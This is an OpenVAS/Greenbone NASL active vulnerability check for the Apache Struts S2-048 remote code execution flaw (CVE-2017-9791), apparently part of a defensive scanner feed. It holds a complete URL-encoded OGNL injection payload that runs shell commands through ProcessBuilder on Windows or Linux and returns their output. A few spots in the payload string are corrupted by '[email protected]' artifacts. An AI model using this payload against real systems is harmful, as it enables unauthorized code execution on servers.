Apache Struts RCE Vulnerability (S2-048) - Active Check

# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:apache:struts";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.811309");
  script_version("2022-08-09T10:11:17+0000");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2017-9791");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2022-08-09 10:11:17 +0000 (Tue, 09 Aug 2022)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-05-28 19:31:00 +0000 (Thu, 28 May 2020)");
  script_tag(name:"creation_date", value:"2017-07-10 10:54:29 +0530 (Mon, 10 Jul 2017)");
  script_name("Apache Struts RCE Vulnerability (S2-048) - Active Check");
  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_dependencies("gb_apache_struts_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/struts/http/detected");

  script_xref(name:"URL", value:"https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0558.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/99484");
  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-048");
  script_xref(name:"URL", value:"https://struts.apache.org/announce-2017.html#a20170707");
  script_xref(name:"Advisory-ID", value:"S2-048");
  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-058");
  script_xref(name:"Advisory-ID", value:"S2-058");

  script_tag(name:"summary", value:"Apache Struts is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"It is possible to perform a RCE attack with a malicious field
  value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part
  of a message presented to the user, i.e. when using untrusted input as a part of the error message
  in the ActionMessage class.");

  script_tag(name:"impact", value:"Successfully exploiting these issues allow remote attackers to
  execute arbitrary code in the context of the affected application.");

  script_tag(name:"affected", value:"Apache Struts 2.3.x with Struts 1 plugin and Struts 1 action.");

  script_tag(name:"solution", value:"As a mitigation always use resource keys instead of passing a
  raw message to the ActionMessage as shown in the references, never pass a raw value directly.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"Mitigation");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

dir += "/struts2-showcase";

res = http_get_cache( item:dir + "/showcase.action", port:port );
if( ! res || ">Struts2 Showcase<" >!< res || ">Welcome!<" >!< res )
  exit( 0 );

cmds = exploit_commands();

foreach cmd( keys( cmds ) ) {

  c = cmds[ cmd ];

  data = "name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D" +
         "@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%" +
         "3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23cont" +
         "ext%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%" +
         "29.%28%23ognlUtil%3D%23container.getInstance%[email protected]" +
         "y.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPa" +
         "ckageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClass" +
         "es%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%2" +
         "9%29%29%29.%28%23cmd%3D%27" + c + "%27%29.%28%23iswin%3D%28@jav" +
         "a.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." +
         "contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27" +
         "cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C" +
         "%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBui" +
         "lder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%" +
         "28%23process%3D%23p.start%28%29%29.%28%23ros%3D%[email protected]" +
         "truts2.ServletActionContext@getResponse%28%29.getOutputStream%2" +
         "8%29%29%29.%[email protected]@copy%28%23process." +
         "getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D" +
         "&age=123&__cheackbox_bustedBefore=true&description=123";

  url = dir + "/integration/saveGangster.action";
  req = http_post_put_req( port:port, url:url, data:data,
                           add_headers:make_array( "Content-Type", "application/x-www-form-urlencoded" ) );
  res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( egrep( pattern:cmd, string:res ) ) {
    report = 'It was possible to execute the command ' + cmds[ cmd ] + ' on the remote host.\n\nRequest:\n\n' + req + '\n\nResponse:\n\n' + res;
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 0 );